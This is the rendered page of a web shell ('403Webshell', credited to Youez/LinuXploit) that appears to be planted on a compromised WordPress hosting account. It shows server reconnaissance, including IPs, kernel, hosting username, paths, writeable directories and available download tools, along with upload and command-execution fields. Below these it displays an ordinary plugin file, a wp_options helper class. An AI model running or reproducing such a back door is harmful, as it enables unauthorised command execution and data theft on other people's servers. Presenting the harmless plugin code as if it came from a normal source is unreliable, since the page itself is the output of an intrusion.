403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/plugins/landing-pages/trunk/shared/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/plugins/landing-pages/trunk/shared/classes/class.options-api.php
<?php

/**
 * Class Inbound_Options_API provides a clean way for interfacing with the wp_options table. This class is not loaded if Inbound Pro is running
 * @package Shared
 * @subpackage DataInterfaces
 */


if ( ! class_exists( 'Inbound_Options_API' ) ) {

	class Inbound_Options_API {

		/**
		*  Gets option value in name space object
		*/
		public static function get_option( $namespace, $key, $default = null ) {
			$option = get_option( $namespace );
			$option = (is_array($option)) ? $option : json_decode( stripslashes( $option ), true ) ;

			if (!isset( $option[ $key ] )) {
				add_option( $namespace, '', '', 'no' );
				return $default;
			} else {
				return $option[ $key ];
			}
		}

		/**
		*  Updates option value in name space object
		*/
		public static function update_option( $namespace, $key, $value ) {

			$options = json_decode( stripslashes( get_option( $namespace , '' ) ), true ) ;

			if (!$options) {
				add_option( $namespace, '', '', 'no' );
				$options = array();
			}

			$options[$key] = $value;

			update_option( $namespace, json_encode( $options ) );
		}

	}


}

Youez - 2016 - github.com/yon3zu
LinuXploit